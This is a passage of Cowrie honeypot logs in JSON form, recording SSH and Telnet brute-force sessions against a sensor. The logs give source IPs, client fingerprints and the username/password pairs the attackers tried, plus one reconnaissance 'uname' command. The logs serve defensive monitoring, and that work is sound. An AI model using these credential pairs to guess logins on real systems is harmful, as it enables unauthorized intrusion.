m","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:20.055441Z","src_ip":"192.109.200.78","session":"19e8b3335fa2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:20.371511Z","src_ip":"192.109.200.78","session":"19e8b3335fa2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:20.582877Z","src_ip":"192.109.200.78","session":"19e8b3335fa2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:20.586591Z","src_ip":"192.109.200.78","session":"19e8b3335fa2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:20.675345Z","src_ip":"192.109.200.78","session":"19e8b3335fa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:20.682177Z","src_ip":"192.109.200.78","session":"19e8b3335fa2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55860,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb44b0acabc9","protocol":"ssh","message":"New connection: 192.109.200.78:55860 (159.203.135.109:22) [session: fb44b0acabc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:24.066219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:24.071015Z","src_ip":"192.109.200.78","session":"fb44b0acabc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:24.153055Z","src_ip":"192.109.200.78","session":"fb44b0acabc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"******","message":"login attempt [ubuntu/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:24.688316Z","src_ip":"192.109.200.78","session":"fb44b0acabc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59464,"dst_ip":"159.203.135.109","dst_port":22,"session":"43d528b1cba6","protocol":"ssh","message":"New connection: 159.203.92.129:59464 (159.203.135.109:22) [session: 43d528b1cba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:24.790173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:24.795061Z","src_ip":"159.203.92.129","session":"43d528b1cba6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:24.802611Z","src_ip":"159.203.92.129","session":"43d528b1cba6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"RADI0","password":"RADI0123","message":"login attempt [RADI0/RADI0123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:24.815213Z","src_ip":"159.203.92.129","session":"43d528b1cba6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:25.818597Z","src_ip":"192.109.200.78","session":"fb44b0acabc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:25.831982Z","src_ip":"159.203.92.129","session":"43d528b1cba6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33334,"dst_ip":"159.203.135.109","dst_port":22,"session":"58b65a4eff0f","protocol":"ssh","message":"New connection: 192.109.200.78:33334 (159.203.135.109:22) [session: 58b65a4eff0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:28.252467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:28.342886Z","src_ip":"192.109.200.78","session":"58b65a4eff0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:28.346895Z","src_ip":"192.109.200.78","session":"58b65a4eff0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gd","password":"gd","message":"login attempt [gd/gd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:28.747152Z","src_ip":"192.109.200.78","session":"58b65a4eff0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:29.839345Z","src_ip":"192.109.200.78","session":"58b65a4eff0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33342,"dst_ip":"159.203.135.109","dst_port":22,"session":"8440135096bf","protocol":"ssh","message":"New connection: 192.109.200.78:33342 (159.203.135.109:22) [session: 8440135096bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:32.514459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:32.518600Z","src_ip":"192.109.200.78","session":"8440135096bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:32.615511Z","src_ip":"192.109.200.78","session":"8440135096bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:32.877064Z","src_ip":"192.109.200.78","session":"8440135096bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:33.996235Z","src_ip":"192.109.200.78","session":"8440135096bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33348,"dst_ip":"159.203.135.109","dst_port":22,"session":"05db531a0309","protocol":"ssh","message":"New connection: 192.109.200.78:33348 (159.203.135.109:22) [session: 05db531a0309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:36.729213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:36.734189Z","src_ip":"192.109.200.78","session":"05db531a0309","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:36.818318Z","src_ip":"192.109.200.78","session":"05db531a0309","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:37.067420Z","src_ip":"192.109.200.78","session":"05db531a0309","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:38.154103Z","src_ip":"192.109.200.78","session":"05db531a0309","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.62.66","src_port":58920,"dst_ip":"10.17.0.5","dst_port":22,"session":"4308a68d32c4","protocol":"ssh","message":"New connection: 177.54.62.66:58920 (10.17.0.5:22) [session: 4308a68d32c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:38.406847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:38.412466Z","src_ip":"177.54.62.66","session":"4308a68d32c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:38.547619Z","src_ip":"177.54.62.66","session":"4308a68d32c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vboxadmin","password":"vbox","message":"login attempt [vboxadmin/vbox] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:39.100759Z","src_ip":"177.54.62.66","session":"4308a68d32c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:40.235712Z","src_ip":"177.54.62.66","session":"4308a68d32c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41482,"dst_ip":"159.203.135.109","dst_port":22,"session":"9537cdce374a","protocol":"ssh","message":"New connection: 192.109.200.78:41482 (159.203.135.109:22) [session: 9537cdce374a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:40.745029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:40.749757Z","src_ip":"192.109.200.78","session":"9537cdce374a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:40.835428Z","src_ip":"192.109.200.78","session":"9537cdce374a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"123456","message":"login attempt [vncuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:41.091053Z","src_ip":"192.109.200.78","session":"9537cdce374a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:42.177159Z","src_ip":"192.109.200.78","session":"9537cdce374a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00291299819946,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:44.896948Z","src_ip":"119.94.70.246","session":"f14225c7fb95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41486,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d40a4024e73","protocol":"ssh","message":"New connection: 192.109.200.78:41486 (159.203.135.109:22) [session: 8d40a4024e73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:44.966307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:44.972154Z","src_ip":"192.109.200.78","session":"8d40a4024e73","protocol":"ssh"}
